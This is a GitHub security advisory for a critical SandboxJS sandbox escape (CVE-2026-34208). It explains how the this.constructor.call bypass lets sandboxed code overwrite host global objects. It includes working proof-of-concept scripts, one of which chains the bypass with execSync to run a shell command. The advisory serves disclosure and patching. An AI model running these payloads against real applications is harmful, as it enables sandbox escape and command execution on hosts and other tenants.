Skip to content

SandboxJS: Sandbox integrity escape

Critical severity GitHub Reviewed Published Apr 3, 2026 in nyariv/SandboxJS

Package

npm @nyariv/sandboxjs (npm)

Affected versions

< 0.8.36

Patched versions

0.8.36

Description

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References:

const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap:

  1. Direct global mutation is blocked in assignment logic.
  2. A callable host function that performs arbitrary property writes is still reachable.
  3. The call path does not enforce equivalent global-mutation restrictions.
  4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

npm i @nyariv/sandboxjs@0.8.35

Global write bypass with pwned marker

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
} finally {
  Math.random = original;
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object
With bypass (host Math.random()): pwned
With bypass (fresh sandbox Math.random()): pwned

With bypass (host Math.random()) proves the sandbox changed host runtime state immediately.
With bypass (fresh sandbox Math.random()) proves the mutation persists across new sandbox instances, which shows cross-execution contamination.

Command id execution via host gadget

This second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX id command as a harmless execution marker.

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');

const run = (code) => new Sandbox().compile(code)().run();
const hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');
const originalCmd = Math.cmd;

try {
  try {
    run(`Math.cmd = 'id'`);
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { cmd: 'id' })`);
  console.log('With bypass (host command source Math.cmd):', Math.cmd);
  console.log(
    'With bypass + host gadget execSync(Math.cmd):',
    execSync(Math.cmd, { encoding: 'utf8' }).trim(),
  );
} finally {
  if (hadCmd) {
    Math.cmd = originalCmd;
  } else {
    delete Math.cmd;
  }
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object
With bypass (host command source Math.cmd): id
With bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...

Impact

This is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.

References

@nyariv nyariv published to nyariv/SandboxJS Apr 3, 2026
Published to the GitHub Advisory Database Apr 3, 2026
Reviewed Apr 3, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

EPSS score

Weaknesses

Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. Learn more on MITRE.

Improperly Controlled Modification of Dynamically-Determined Object Attributes

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. Learn more on MITRE.

CVE ID

CVE-2026-34208

GHSA ID

GHSA-2gg9-6p7w-6cpj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.